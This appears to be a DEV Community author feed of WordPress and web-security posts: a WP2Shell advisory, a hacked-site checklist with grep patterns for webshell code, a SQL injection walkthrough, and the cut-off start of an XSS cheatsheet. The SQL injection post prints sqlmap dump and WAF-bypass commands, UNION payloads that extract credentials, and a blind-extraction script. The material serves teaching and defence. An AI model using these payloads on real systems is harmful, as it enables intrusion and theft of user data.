DEV Community: Zahid Rasheed

WP2Shell (CVE-2026-63030): Is Your WordPress Site Already Hacked? How to Check and Fix It

Zahid Rasheed — Wed, 22 Jul 2026 09:16:04 +0000

If you run a WordPress site, stop what you're doing and check your version number. There is a live, unauthenticated remote-code-execution flaw in WordPress core itself — no vulnerable plugin required — and attackers have been mass-exploiting it since July 18. It's been nicknamed WP2Shell, and unlike most "critical" advisories that need a specific plugin or a logged-in account, this one lets a complete stranger run code on a stock WordPress install from anywhere on the internet.

I've cleaned north of 400 hacked WordPress sites over 15 years, and the pattern with a bug like this is always the same: the sites that get hit aren't the ones with weak passwords or pirated themes. They're ordinary, well-maintained sites whose owners hadn't heard the news yet and were three days behind on an update. So let's make sure that's not you.

The 30-Second Version

What it is: Two chained WordPress core vulnerabilities — CVE-2026-63030 (CVSS 9.8, a route-confusion bug in the REST API's /wp-json/batch/v1 endpoint) and CVE-2026-60137 (CVSS 9.1, a SQL injection in WP_Query). Chained together they give an unauthenticated attacker full remote code execution.
Are you affected? Yes, if you're running WordPress 6.9.0–6.9.4 or 7.0.0–7.0.1.
The fix: Update to WordPress 6.9.5 or 7.0.2 immediately (released July 17, 2026). WordPress.org pushed forced auto-updates for affected sites — but you must confirm yours actually applied.
Already breached? Attackers are planting hidden admin accounts and webshells. Scan your site free to check — the cleanup steps are further down.

What WP2Shell Actually Does

Most WordPress attacks need a foothold — a vulnerable plugin, a leaked password, a poisoned theme. WP2Shell needs none of that. It abuses two flaws that ship in WordPress core:

The first, CVE-2026-63030, is a route-confusion bug in the REST API's batch-processing endpoint (/wp-json/batch/v1), which is enabled by default. It lets an attacker smuggle input past the normal permission checks. That smuggled input feeds the second flaw, CVE-2026-60137, a SQL injection in WordPress's core WP_Query (via the author__not_in parameter).

Chained, the two turn into a full unauthenticated compromise: the attacker forges a database record, writes to WordPress's oEmbed cache, and from there escalates into a rogue administrator account and a webshell plugin. Once that webshell lands, they own the server — they can serve spam, inject malware into every page, steal customer data from a WooCommerce store, or pivot to other sites on the same hosting account.

The scale is what makes this ugly. Security firm Wiz found that roughly 60% of organizations running WordPress had at least one vulnerable instance when the flaws were disclosed, and about a quarter were exposing a vulnerable server directly to the internet. Public proof-of-concept exploit code is already circulating, which is why scanning and exploitation attempts spiked within a day of disclosure.

Am I Affected? (Check in 60 Seconds)

You're vulnerable if your site runs any of these versions:

WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, or 6.9.4
WordPress 7.0.0 or 7.0.1

To find your version, log into wp-admin and look at the bottom-right of the dashboard, or check Dashboard → Updates. If you can't log in, you can often see it in your page source (though many sites hide it) or ask your host.

If you're on 6.9.5, 7.0.2, or newer, you're patched. If you're on anything older than 6.9.0, you're not affected by this specific chain — but you're dangerously behind on other security fixes and should update anyway.

How to Fix It — Right Now

1. Update WordPress core. Go to Dashboard → Updates and install the latest version (6.9.5 on the 6.9 branch, or 7.0.2 on the 7.0 branch). If you manage the server, you can also update via WP-CLI:

wp core update
wp core version

Confirm the second command reports 6.9.5 / 7.0.2 or higher.

2. Verify the auto-update actually applied. WordPress.org enabled forced automatic updates for affected sites because of how severe this is — but forced updates can silently fail on sites with file-permission locks, disabled cron, or DISALLOW_FILE_MODS set. Don't assume. Log in and check the version number yourself.

3. If you genuinely can't update immediately, ask your host or a WAF (Cloudflare, Wordfence, Sucuri) to block requests to /wp-json/batch/v1 as a stopgap. This is a band-aid, not a fix — patch as soon as you can.

Patching stops future exploitation. It does not remove an attacker who already got in before you updated. That's the part most people miss.

Am I Already Hacked? How to Tell

Because this bug was exploited in the wild for days before many sites updated, a clean version number today doesn't guarantee you weren't hit yesterday. Warning signs to look for:

Administrator accounts you don't recognize (Users → All Users — sort by role and date).
Plugins you never installed, especially ones with generic names, that are active but not in the plugin directory.
Unexpected files in wp-content/, wp-includes/, or the web root — particularly .php files with random names or recent modification dates.
Requests to /wp-json/batch/v1 in your access logs around or after July 17.
Spam pages, redirects, or "This site may be hacked" warnings in Google search results.
Your host suspending the account or flagging outbound spam.

If any of that rings true — or you simply want peace of mind — the fastest first check is to run our free hacked-site scanner. It checks your site against malware and phishing blocklists, inspects TLS and security headers, and flags the tell-tale signs of a compromise from the outside, no login or plugin install required.

For a deeper look, WordPress's security team and several vendors have released an official wp2shell compromise-scanner plugin and browser extension that check specifically for this attack's fingerprints.

If You're Compromised: Don't Just Delete and Move On

Here's the mistake I see constantly. Someone finds one bad file, deletes it, updates WordPress, and calls it done. Two weeks later the site reinfects, because the attacker left a second backdoor — a hidden admin, a modified wp-config.php, a cron job, a poisoned .htaccess — that never got touched. With WP2Shell specifically, the whole point of the attack is to plant persistence, so a partial cleanup almost always fails.

So here's what a proper cleanup actually looks like. Before you touch anything, take a full backup of both the files and the database — you want a forensic copy in case you need to trace what happened or something goes wrong mid-clean.

1. Clean the file system (FTP/SSH). The SQL injection let attackers write PHP straight to disk (via MySQL's INTO OUTFILE), so hunt for:

Suspicious PHP files in /wp-content/cache/ with random alphanumeric names (reported examples look like e042u9xy9ra1.php).
A fake backdoor disguised as a "security patch" in /wp-content/mu-plugins/ — must-use plugins load automatically and don't appear in the normal Plugins list, which makes it a favourite hiding spot. Delete anything you didn't put there.
Any unknown plugin added under /wp-content/plugins/.

Then update core to 6.9.5 / 7.0.2 to seal the hole, and lock down file editing in wp-config.php:

define( 'DISALLOW_FILE_EDIT', true );
define( 'DISALLOW_FILE_MODS', true );

2. Reset every credential and kill every session. Assume the attacker already has your password hashes.

Reset passwords for all users (administrators first), and change the MySQL database password — then update it in wp-config.php.
Regenerate your WordPress secret keys and paste them over the old salts in wp-config.php. This instantly invalidates every logged-in session, including the attacker's.
Check Users → All Users for any administrator you didn't create, and delete it.

3. Clean the database. The attack seeds spoofed records, often stamped with a fixed date of 2020-01-01 00:00:00 and a payload pointing to example.invalid. Back up first, change the wp_ prefix if yours differs, then:

DELETE FROM wp_posts    WHERE post_type = 'customize_changeset' AND post_date = '2020-01-01 00:00:00';
DELETE FROM wp_posts    WHERE post_type = 'nav_menu_item'        AND post_date = '2020-01-01 00:00:00';
DELETE FROM wp_postmeta WHERE meta_value LIKE '%example.invalid%';

4. Harden so it can't recur. WordPress never needs MySQL's FILE privilege — and that privilege is exactly what let the SQL injection write a webshell to disk in the first place. Revoke it, logged in as the database root user:

REVOKE FILE ON *.* FROM 'your_wp_db_user'@'localhost';FLUSH PRIVILEGES;

One honest caveat: a determined attacker can also bury a shell inside a legitimate-looking theme or plugin file, so if any of the above turns up a real infection, treat the whole install as suspect and diff every core, theme, and plugin file against a known-good copy. And if your site handles customer data or payments, you may have breach-notification obligations too.

A word on those free "wp2shell checkers." Most of them only tell you whether you're patched — they ping the Batch API route and report back. They do not tell you whether you were breached before you patched. Since this was exploited in the wild for days before many sites updated, "patched but already compromised" is the dangerous middle ground, and it's exactly what our free scanner and a manual review are built to catch.

If you'd rather not do that at 2 AM yourself, that's exactly what I do. I offer fixed-price malware removal and cleanup starting at $249 — emergency cleanup, full recovery, and hardening so you're not back here next month. And if you want to understand the real stakes, I've written before about the true cost of a hacked WordPress site — it's rarely the cleanup fee that hurts.

Frequently Asked Questions

Do I need a vulnerable plugin for WP2Shell to work?
No. That's what makes it dangerous. It exploits WordPress core, so a completely stock install with zero third-party plugins is still vulnerable on the affected versions.

I have Wordfence / a security plugin. Am I safe?
A WAF can help block the exploit traffic, but it's not a substitute for patching, and it won't clean a site that was already breached. Update core first, then verify you're not compromised.

WordPress said it auto-updated me. Am I done?
Check the version number yourself — forced auto-updates can fail silently on locked-down sites. If it reads 6.9.5 / 7.0.2 or higher, you're patched against the exploit. You still need to confirm you weren't hit beforehand.

My site is on managed WordPress hosting. Do I still need to worry?
Most reputable managed hosts patched at the platform level within hours, but confirm with your host and still check for compromise if you were on an affected version between July 17 and whenever they patched.

Key Takeaways

WP2Shell is the rare WordPress vulnerability that deserves the panic: unauthenticated, code execution, in core, exploited at scale. Do three things today — confirm your version, update to 6.9.5 or 7.0.2, and check whether you were already breached. Patching closes the door; it doesn't evict anyone already inside.

If the scanner turns up something, or you just want a professional set of eyes before your customers notice, get in touch — I clean these for a living, and moving fast is the whole game.

Originally published on xuro.net.

How to Check if Your WordPress Site Is Hacked (2026)

Zahid Rasheed — Mon, 13 Jul 2026 16:40:20 +0000

Quick answer: Signs your WordPress site has been hacked include Google Safe Browsing warnings, unknown admin accounts in wp-admin → Users, modified functions.php, PHP files inside /wp-content/uploads/, unexpected redirects, and sudden traffic drops. Confirm with the Google Safe Browsing Transparency Report, scan with WPScan or Wordfence, and check functions.php for obfuscated base64 code.

A client messaged me on a Friday evening: "Something feels off with my site. Pages are loading slowly and Google is showing a warning when people search for us." Twenty minutes later I was looking at a WordPress installation that had been silently compromised for eleven days. The attacker had injected a pharma spam redirect into the theme's functions.php, planted a PHP webshell in the uploads folder, and added a backdoor admin account — all while the site kept "working normally" on the surface.

This is the most common pattern I see. WordPress sites get hacked and the owner has no idea for days, weeks, sometimes months. By the time it's discovered, the damage is done: SEO rankings destroyed by Google's spam classifier, blacklisting by web hosts, and customer trust eroded. This post tells you exactly how to check whether your WordPress site has been hacked, what the signs look like, and what to do about it.

Warning Signs Your WordPress Site Has Been Hacked

1. Google Is Showing a Security Warning

If people searching for your brand see "This site may be hacked" or "Deceptive site ahead" in Chrome, you have a confirmed problem. Google's Safe Browsing system has flagged your site for malware, phishing, or spam content.

Check immediately: Google Safe Browsing Transparency Report — enter your domain and it shows any active warnings within seconds.

2. Your Hosting Provider Suspended the Account

Shared hosts scan for malware automatically. If your site shows a suspension page or you received an email from your host about "malicious content," the malware is already confirmed. Don't restore from a backup immediately — first identify what got in, or it will happen again.

3. Unexpected Redirects

If visitors are being sent to pharmacy sites, adult content, or fake tech support pages — especially on mobile but not desktop — you have a mobile redirect hack. Attackers target mobile visitors specifically because site owners usually test on desktop.

To test: use your phone on mobile data (not your office WiFi), clear browser cache, and visit your site. Then check via Google's Mobile-Friendly Test which renders your page as Google would see it.

4. New Admin Accounts You Didn't Create

Log into WordPress → Users → All Users. If you see admin accounts with names like admin1, admin2, random strings, or addresses you don't recognize — your site is compromised. Attackers create backdoor accounts to maintain access even after you change your password.

5. Your Site Is Sending Spam Email

Your hosting provider will often flag this first. Signs include:

Bounce messages from addresses you didn't email
Customers receiving spam claiming to be from your domain
Your domain appearing on email blacklists

Check your domain against MXToolbox Blacklist Checker.

6. Google Search Console Shows Manual Actions or New URLs

Check Google Search Console → Security & Manual Actions → Manual Actions. A manual action means a Google reviewer has confirmed spam or malware. Also check Coverage → Excluded — if you see hundreds of URLs you didn't create (pharma keywords, foreign-language spam pages), those have been injected by attackers.

7. Your Site Loads Slowly or Has Unusual Server Load

Malware often runs crypto miners, sends spam, or participates in DDoS botnets in the background. Sudden increases in CPU usage in your hosting control panel — without corresponding traffic increases — are a red flag.

How to Check If Your WordPress Site Is Hacked

Step 1: Run an External Malware Scan

Before touching anything, get an objective external assessment:

Sucuri SiteCheck (free): sitecheck.sucuri.net — scans your public-facing pages for malware signatures, blacklist status, and outdated software
VirusTotal: enter your domain at virustotal.com — checks against 90+ security vendors simultaneously
Google Safe Browsing: transparencyreport.google.com/safe-browsing/search

External scanners only see what's publicly visible. They'll catch injected scripts, redirects, and defacement but they miss malware that only activates under specific conditions (logged-out mobile users, referral from Google, etc.).

Step 2: Check Your Files via cPanel or SSH

Log into cPanel → File Manager or connect via SSH. Look for:

Recently modified files — attackers always modify or create files. In File Manager, sort by "Last Modified." If core WordPress files like wp-login.php, wp-includes/functions.php, or anything in wp-admin/ was modified recently and you didn't do it, that's your smoking gun.

Via SSH:

# Files modified in the last 7 days
find /home/youraccount/public_html -name "*.php" -mtime -7 -ls

# PHP files in uploads folder (should never be there legitimately)
find /home/youraccount/public_html/wp-content/uploads -name "*.php"

# Files containing common malware strings
grep -rl "eval(base64_decode" /home/youraccount/public_html/
grep -rl "preg_replace.*\/e" /home/youraccount/public_html/
grep -rl "\$_POST\['cmd'\]" /home/youraccount/public_html/

PHP files in the uploads directory are almost always malicious — WordPress has no legitimate reason to put PHP there.

Step 3: Scan With a WordPress Security Plugin

Wordfence (free tier) runs a file integrity check against the official WordPress repository — it flags any core or plugin file that doesn't match what it should be:

Install Wordfence → Scan → Start New Scan
Review results: "Files Added by WordPress" and "Files Modified in WordPress Core" are the critical sections

MalCare is faster for large sites and uses server-side scanning so it doesn't slow your site.

Step 4: Check Your Database for Injected Content

Attackers frequently inject spam links or malicious JavaScript into your database — posts, options, widget content. The WP Admin panel won't show these obviously because they're hidden in serialized data or conditionally displayed.

Via phpMyAdmin in cPanel:

-- Check wp_options for suspicious URLs or scripts
SELECT option_name, option_value FROM wp_options 
WHERE option_value LIKE '%<script%' 
   OR option_value LIKE '%eval(%'
   OR option_value LIKE '%base64%';

-- Check wp_posts for spam links
SELECT ID, post_title, post_content FROM wp_posts 
WHERE post_content LIKE '%viagra%' 
   OR post_content LIKE '%cialis%'
   OR post_content LIKE '%casino%'
LIMIT 50;

Step 5: Review Admin Users and Recent Logins

# List all WordPress admin users via WP-CLI
wp user list --role=administrator --fields=ID,user_login,user_email,user_registered

# Check recent failed logins (if using a security plugin that logs them)
wp db query "SELECT user_login, user_registered FROM wp_users ORDER BY user_registered DESC LIMIT 10;"

Any admin account you didn't create needs to be deleted immediately. Change all other admin passwords before deleting them, or the attacker's account may automatically recreate itself via a backdoor.

Confirmed Hacked — What to Do Now

1. Take the Site Offline Temporarily

Put your site in maintenance mode or have your host suspend it. This prevents:

Further spread of malware to visitors
Continued damage to your SEO reputation
Attackers continuing to use your server for their operations

2. Change Everything

Before cleaning:

WordPress admin passwords (all users)
Hosting cPanel/WHM password
FTP/SFTP credentials
Database password (and update wp-config.php)
SSH keys — audit and remove any you don't recognize

3. Clean or Restore

Option A — Restore from a clean backup: If you have a backup from before the compromise, restore it. Then immediately update WordPress, all plugins, and themes to current versions before going live again. If you restore without updating, you'll be re-infected through the same vulnerability within days.

Option B — Manual clean: If you don't have a clean backup or the backup is also compromised:

Download fresh copies of WordPress core from wordpress.org and overwrite your core files (do not touch wp-content/)
Delete and reinstall all plugins from official sources
Replace theme files from the original source — do not trust your existing theme files
Manually scan and clean wp-content/uploads/ — delete any PHP files found there
Clean the database of injected content

For professional cleanup, my team at XURO.NET handles WordPress malware removal including identifying the original entry point and patching it.

4. Identify and Patch the Entry Point

Cleaning without finding how they got in means you'll be reinfected. Common entry points:

Outdated plugin with known CVE: Check your installed plugin versions against the WPScan Vulnerability Database — this is the #1 cause
Compromised admin credentials: Brute force or credential stuffing attack — a password that was leaked in another breach
Nulled/pirated plugins or themes: These almost always contain backdoors by design
Vulnerable hosting configuration: Outdated PHP version, world-writable directories, weak file permissions

# Check PHP version (should be 8.1+ minimum)
php -v

# Check for world-writable directories
find /home/youraccount/public_html -type d -perm -o+w

# Check wp-config.php permissions (should be 600 or 640)
ls -la /home/youraccount/public_html/wp-config.php

5. Harden Before Going Back Online

Once clean, implement these before you relaunch:

Install a security plugin: Wordfence or iThemes Security for real-time firewall and login protection
Enable two-factor authentication on all admin accounts
Limit login attempts — 5 failures should trigger a temporary lockout
Move wp-admin to a non-default URL or restrict access by IP
Set proper file permissions: directories 755, files 644, wp-config.php 600
Enable automatic updates for minor WordPress releases
Set up daily malware scanning with email alerts

6. Submit for Google Review

If Google flagged your site, you need to request a review after cleaning. In Google Search Console → Security & Manual Actions → Manual Actions → Request Review. Be specific about what you found and what you fixed. Google typically reviews within 1–3 days.

For blacklisting from other providers: Sucuri Blacklist Removal Guide covers the major blacklists and their review processes.

How Long Does Google Take to Remove the Warning?

After a successful manual action review in GSC, Google typically removes the "This site may be hacked" warning within 24–72 hours. Safe Browsing warnings in Chrome can take up to a week to clear globally as the list propagates to all users.

During this period your organic traffic will be severely impacted — users see the warning and most don't proceed. This is why fast response matters.

How to Prevent This From Happening Again

The majority of WordPress compromises are entirely preventable. These are the controls that actually matter:

Updates: 60%+ of WordPress infections exploit known vulnerabilities in outdated plugins. Enabling auto-updates for plugins, themes, and minor WordPress core releases eliminates most of this attack surface.

Backups: Daily backups stored off-site (not just on your hosting account). If your host is compromised, local backups are also compromised. Services like UpdraftPlus to Google Drive or Amazon S3 work well.

Monitoring: Get email alerts when core files change, new admin users are created, or the site goes down. Wordfence's free tier covers most of this.

Hosting quality: Shared hosting accounts on servers without PHP isolation mean one compromised site can infect every site on that server. CloudLinux with CageFS, or managed WordPress hosting with proper isolation, prevents cross-account contamination.

Passwords: Every admin account should use a unique, randomly-generated password of 20+ characters. A password manager makes this practical. Credential stuffing — attackers trying passwords from other breached sites — is a growing attack vector.

FAQ

How do I check if my WordPress site is hacked?

Start with three free external scans: run Sucuri SiteCheck, check the Google Safe Browsing Transparency Report, and look at Google Search Console → Security & Manual Actions. Then check inside: log into wp-admin → Users for admin accounts you didn't create, sort your files by "Last Modified" in cPanel, and look for PHP files in wp-content/uploads/. If any of those turn something up, treat the site as compromised and follow the cleanup steps above.

How do I know if my WordPress site has been hacked if it looks fine?

A site that looks normal to you can still be hacked — many attacks hide from the logged-in admin. Test from a fresh browser on mobile data (not your office WiFi) to catch mobile-only redirects, check for a sudden traffic drop in analytics, watch for unexpected CPU spikes in cPanel, and confirm your domain isn't on an email blacklist with MXToolbox. Run an external scan regardless of how the site looks.

I found malware. Should I just delete everything and reinstall?

Only if you have a clean backup. Deleting without a backup means losing your content. If you don't have a backup, you'll need to manually clean the infection — which requires correctly identifying all affected files and database entries. Incomplete cleanup leaves backdoors that re-infect you immediately.

My host removed the suspension but said they cleaned it. Is that enough?

Hosts typically remove the specific malware files they detected but don't perform comprehensive forensic analysis. They identify the symptom but rarely the root cause. You should still audit admin users, check for backdoors in wp-content/uploads/, verify all core files, and identify the original entry point — even if the host says the site is clean.

How much does professional WordPress malware removal cost?

Typical rates run $150–$500 for a single site cleanup depending on complexity. Ongoing security management (which prevents future incidents) runs $50–$200/month. The cost of cleanup is always less than the cost of extended downtime, lost rankings, and customer trust damage.

Key Takeaways

Run Sucuri SiteCheck and check Google Safe Browsing before doing anything else
Check for PHP files in wp-content/uploads/ — these are almost always malicious
Search your database for spam keywords and injected JavaScript
Look for admin accounts you didn't create and delete them immediately
Change all credentials — WordPress, cPanel, FTP, SSH — before cleaning
Identify the entry point before going back online or you'll be reinfected
Request a Google manual action review after confirming the site is clean
Enable auto-updates and daily malware scanning to prevent recurrence
Store backups off-site — if your host is compromised, on-server backups are too

I'm Zahid Abbasi — cPanel- and LiteSpeed-certified, 15+ years cleaning up and hardening WordPress sites. The full version of this guide with more detail lives on xuro.net. If your site's compromised and you need help now, reach out here.

SQL Injection: Anatomy of an Attack

Zahid Rasheed — Thu, 09 Jul 2026 11:37:48 +0000

SQL Injection: Anatomy of an Attack

A client called me at 11 PM on a Tuesday. Their e-commerce platform had been leaking customer data for six weeks before anyone noticed. The attacker hadn't used malware, hadn't brute-forced passwords, hadn't done anything particularly sophisticated. They'd typed a single quote into a search box and watched the database hand over everything it had. Forty thousand customer records — names, addresses, hashed passwords, partial card data — all gone because one developer had concatenated user input directly into a SQL query. That night taught me more about SQL injection than any certification ever did.

SQL injection remains the most consistently exploited vulnerability class I encounter across client engagements. Not because it's new — it's been on the OWASP Top 10 since the list existed — but because developers keep making the same fundamental mistakes, and attackers keep rewarding them for it. This post walks through how SQL injection actually works in practice, the tools I use to find it, the manual techniques that matter when automated tools miss things, and how to fix it properly.

What SQL Injection Actually Is (Beyond the Textbook Definition)

SQL injection happens when user-supplied input is interpreted as SQL code rather than data. The reason it keeps appearing in mature codebases is that it's contextual — a parameter that's safe in one query context becomes dangerous in another, and static analysis tools regularly miss it.

Here's the vulnerable pattern I see most often:

$search = $_GET['q'];
$query = "SELECT * FROM products WHERE name LIKE '%" . $search . "%'";
$result = mysqli_query($conn, $query);

When a user searches for laptop, the query becomes:

SELECT * FROM products WHERE name LIKE '%laptop%'

Completely fine. But when an attacker searches for %' OR '1'='1:

SELECT * FROM products WHERE name LIKE '%%' OR '1'='1%'

The condition '1'='1' is always true, so every row in the table gets returned. That's the simplest version. In practice, attackers go much further.

The Four Main Injection Types

In-band SQLi is what most people think of — the attacker sees results directly in the HTTP response. This includes error-based injection (where database errors leak schema information) and union-based injection (where the attacker appends their own SELECT statement to the original query).

Blind SQLi returns no visible data but the application behaves differently depending on whether a condition is true or false. Boolean-based blind injection exploits this binary response. Time-based blind injection uses SLEEP() or WAITFOR DELAY to infer data character by character based on response timing.

Out-of-band SQLi uses secondary channels — DNS lookups, HTTP requests from the database server — to exfiltrate data. I use this when the application gives no visible feedback and timing attacks are unreliable due to network jitter.

Second-order injection is the one that gets good developers. The malicious payload is stored in the database first (appearing safe at insertion time) and then executed when retrieved and used in a subsequent query. I've found several of these in applications that had parameterized queries everywhere except in the admin panel that consumed stored data.

Reconnaissance and Discovery

Before running any tools, I spend time mapping the application manually. Every input point is a potential injection vector: GET/POST parameters, HTTP headers (User-Agent, Referer, X-Forwarded-For), cookie values, JSON/XML bodies, and file upload filenames.

The first manual test I always run is a single quote:

https://target.com/product?id=1'

A database error message is gold. MySQL will often return something like:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

That tells me the database type, that error messages are enabled (a misconfiguration in itself), and that the parameter is injectable. Even if errors are suppressed, I look for behavioral differences — a page that loads differently, a response that takes longer, a redirect that shouldn't happen.

Using SQLMap Properly

SQLMap is the standard tool, but running it blindly wastes time and generates enormous amounts of traffic that triggers WAFs. I always start with a targeted command:

sqlmap -u "https://target.com/product?id=1" \
  --dbms=mysql \
  --level=3 \
  --risk=2 \
  --batch \
  --tamper=space2comment \
  -p id

The --tamper flag applies obfuscation scripts to bypass WAFs. For more aggressive WAF evasion I'll chain tampers:

--tamper=between,space2comment,randomcase

For authenticated areas, I capture the full request with Burp Suite, save it as a file, and pass it directly:

sqlmap -r request.txt --cookie="session=abc123" --level=5 --risk=3

When I need to dump a specific table after confirming injection:

sqlmap -u "https://target.com/product?id=1" -D ecommerce -T users --dump

That said, SQLMap misses things. It particularly struggles with second-order injection, JSON-embedded parameters, and custom serialization formats. Manual testing with Burp Repeater finds what automated tools don't.

Manual Union-Based Extraction

When I'm doing a manual union-based injection, the first step is finding the number of columns in the original query. I use ORDER BY enumeration:

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--

When the page breaks, I know the column count. If ORDER BY 4 causes an error but 3 doesn't, there are three columns. Then I find which columns are reflected in the output:

' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--

Once I find a reflected column (say, column 2), I can extract data:

' UNION SELECT NULL,database(),NULL--
' UNION SELECT NULL,group_concat(table_name),NULL FROM information_schema.tables WHERE table_schema=database()--
' UNION SELECT NULL,group_concat(column_name),NULL FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT NULL,group_concat(username,':',password),NULL FROM users--

On a real engagement last year, this exact chain extracted admin credentials from a healthcare portal within twenty minutes of initial access. The vulnerability had been present for three years.

Time-Based Blind Injection in Practice

When I'm working with an application that gives no visual feedback, time-based injection becomes essential. MySQL example:

' AND SLEEP(5)--

If the response takes five seconds longer, the parameter is injectable. From there, I extract data character by character:

' AND IF(SUBSTRING((SELECT database()),1,1)='a',SLEEP(5),0)--

This is painfully slow manually, which is where custom scripts help. I often write a Python script using the requests library for specific scenarios SQLMap handles poorly:

import requests
import time
import string

url = "https://target.com/product"
charset = string.ascii_lowercase + string.digits + "_"
result = ""

for position in range(1, 20):
    for char in charset:
        payload = f"1' AND IF(SUBSTRING((SELECT database()),{position},1)='{char}',SLEEP(3),0)-- -"
        params = {"id": payload}
        start = time.time()
        r = requests.get(url, params=params, timeout=10)
        elapsed = time.time() - start
        if elapsed >= 3:
            result += char
            print(f"[+] Position {position}: {char} (running: {result})")
            break

print(f"\n[+] Database name: {result}")

For professional penetration testing engagements, timing attacks require careful baseline measurements — network latency variance can cause false positives. I always establish a baseline response time before running time-based tests.

Common Mistakes

Mistake 1: Trusting input sanitization over parameterized queries. I see developers using mysql_real_escape_string() or manually stripping single quotes and calling it secure. Bypass techniques exist for every sanitization approach. Parameterized queries are the only reliable fix.

Mistake 2: Only protecting visible input fields. HTTP headers are injection vectors too. I've exploited injection in User-Agent logging, Referer tracking, and X-Forwarded-For IP recording more times than I can count.

Mistake 3: Running database accounts with excessive privileges. The web application's database account should never have FILE, SUPER, or DROP privileges. If the account only has SELECT on the tables it needs, successful injection is dramatically less impactful.

Mistake 4: Disabling error messages without fixing the injection. Suppressing error messages makes injection harder to detect, but it doesn't prevent exploitation. Boolean-blind and time-based techniques work perfectly against applications with no error output.

Mistake 5: Assuming an ORM makes you immune. ORMs like Hibernate, SQLAlchemy, and Eloquent can be misconfigured to allow raw query execution. I've found injection in Django applications using raw() queries and in Laravel apps using whereRaw() with unsanitized input.

The Fix: Parameterized Queries Done Right

The vulnerable PHP from earlier, fixed with PDO:

$pdo = new PDO($dsn, $username, $password);
$stmt = $pdo->prepare("SELECT * FROM products WHERE name LIKE :search");
$stmt->execute(['search' => '%' . $search . '%']);
$results = $stmt->fetchAll();

The user input never touches the SQL string. The database driver handles the binding, and the input is always treated as data, never as code.

In Python with SQLAlchemy (the correct way):

# Wrong - vulnerable
results = db.execute(f"SELECT * FROM users WHERE username = '{username}'")

# Right - parameterized
results = db.execute(
    text("SELECT * FROM users WHERE username = :username"),
    {"username": username}
)

Beyond parameterization, implement defense in depth: Web Application Firewalls like ModSecurity with the OWASP Core Rule Set, least-privilege database accounts, regular penetration testing, and proper error handling that logs internally without exposing details to users.

The OWASP SQL Injection Prevention Cheat Sheet is the most comprehensive reference I point developers to. PortSwigger's Web Security Academy SQLi labs are where I recommend practitioners actually practice these techniques legally.

FAQ

Q: Can a WAF fully protect against SQL injection?

No. WAFs provide a useful layer of defense, but skilled attackers use encoding, comment syntax, and alternative keywords to bypass signature-based detection. I bypass WAFs during most engagements using tamper scripts and manual payload crafting. A WAF buys time and stops automated attacks, but it doesn't fix the underlying vulnerability.

Q: How do I test my own application for SQL injection without breaking it?

Use a staging environment that mirrors production. Start with passive testing — single quotes, double quotes, comment sequences — and observe behavior. Use Burp Suite's active scanner against staging. For production-safe testing, boolean-based payloads that only change query logic (not delete or update data) are lower risk. Never run --risk=3 SQLMap flags against production systems.

Q: My application uses stored procedures. Am I safe?

Stored procedures don't automatically prevent SQL injection. If the stored procedure constructs dynamic SQL internally using string concatenation, it's still vulnerable. A stored procedure that accepts parameters and uses them safely (without internal concatenation) is fine. Audit your stored procedure code the same way you'd audit application code.

Q: What's the first thing an attacker does after finding SQL injection?

Map the database structure: version, current database name, table names, column names. Then target high-value tables — usually users, admins, sessions, payment data. In MySQL environments with FILE privileges, I've seen attackers read /etc/passwd and write web shells via INTO OUTFILE. Database enumeration typically takes under ten minutes with SQLMap on a vulnerable endpoint.

Key Takeaways

Every user-controlled input — parameters, headers, cookies, JSON bodies — is a potential injection point
Use parameterized queries or prepared statements exclusively; never concatenate user input into SQL strings
Database accounts for web applications should have minimum required privileges only — no FILE, DROP, or SUPER
Suppressing error messages is not a security control; blind injection techniques bypass it completely
ORMs are not automatically safe; audit any raw query execution within ORM code
Test HTTP headers (User-Agent, Referer, X-Forwarded-For) explicitly — they're commonly logged into databases
Second-order injection requires testing data retrieval paths, not just data insertion points
WAFs are a compensating control, not a fix — remediate the underlying vulnerability
Time-based blind injection requires baseline timing measurements to avoid false positives
Run SQLMap with targeted flags and tamper scripts rather than default settings against real targets

Originally published at xuro.net — cross-posted with canonical link.

How to Prevent XSS Attacks: Output Encoding, CSP & DOMPurify (2026 Cheatsheet)

Zahid Rasheed — Wed, 08 Jul 2026 10:09:07 +0000

Quick answer: XSS is prevented through output encoding by context — HTML-encode content inserted into HTML body, JavaScript-encode data inside script blocks, URL-encode query parameters, and CSS-encode values inside style attributes. Use DOMPurify to sanitize HTML input and a Content Security Policy (CSP) with nonces as a second layer of defense. Never use innerHTML with untrusted data — use textContent instead.

Last week, a client called me in a panic. Their e-commerce platform had been compromised — attackers injected malicious JavaScript into their product review section, and every customer who visited those pages had their session cookies silently exfiltrated to an external server. By the time we traced the attack, over 3,000 user sessions had been stolen. The fix? A few lines of output encoding that should have been there from day one. That's XSS in the real world — not a theoretical vulnerability, but a quiet, patient attack that sits in your application waiting for victims.

I've spent 15+ years finding XSS vulnerabilities in production applications, from Fortune 500 banking portals to small SaaS startups. This cheatsheet is everything I wish developers had followed before I had to show up and write the incident report.

This guide follows the OWASP XSS Prevention Cheat Sheet framework and extends it with real-world examples from penetration testing engagements.

What XSS Actually Is (And Why Developers Keep Getting It Wrong)

Cross-Site Scripting happens when an application includes untrusted data in a web page without proper validation or encoding. The browser can't distinguish between your legitimate JavaScript and the attacker's injected payload — it just executes both. There are three types you need to care about:

Reflected XSS — The malicious script comes from the current HTTP request. Classic example: a search parameter that echoes back "You searched for: [input]" without sanitization.

Stored XSS — The payload is stored in the database and served to every user who loads that page. This is what hit my client above. Far more dangerous because it's persistent and self-propagating.

DOM-based XSS — The vulnerability exists entirely in client-side code. The payload never reaches the server; it's processed by the browser's DOM engine. These are the hardest to detect with traditional scanners.

Most developers I audit understand reflected XSS conceptually but completely miss DOM-based vulnerabilities because they're scanning server-side code while the problem lives in their React components or jQuery event handlers.

Input Validation vs Output Encoding — Know the Difference

This is where I see the most confusion. These are two separate defenses and you need both.

Input validation happens on the way in. Reject or sanitize data that doesn't match expected formats. If a field expects a US phone number, it should only accept digits and hyphens. If it expects an age, it should only accept integers in a reasonable range.

// Input validation example — whitelist approach
function validateUsername(input) {
  const usernameRegex = /^[a-zA-Z0-9_]{3,20}$/;
  if (!usernameRegex.test(input)) {
    throw new Error('Invalid username format');
  }
  return input;
}

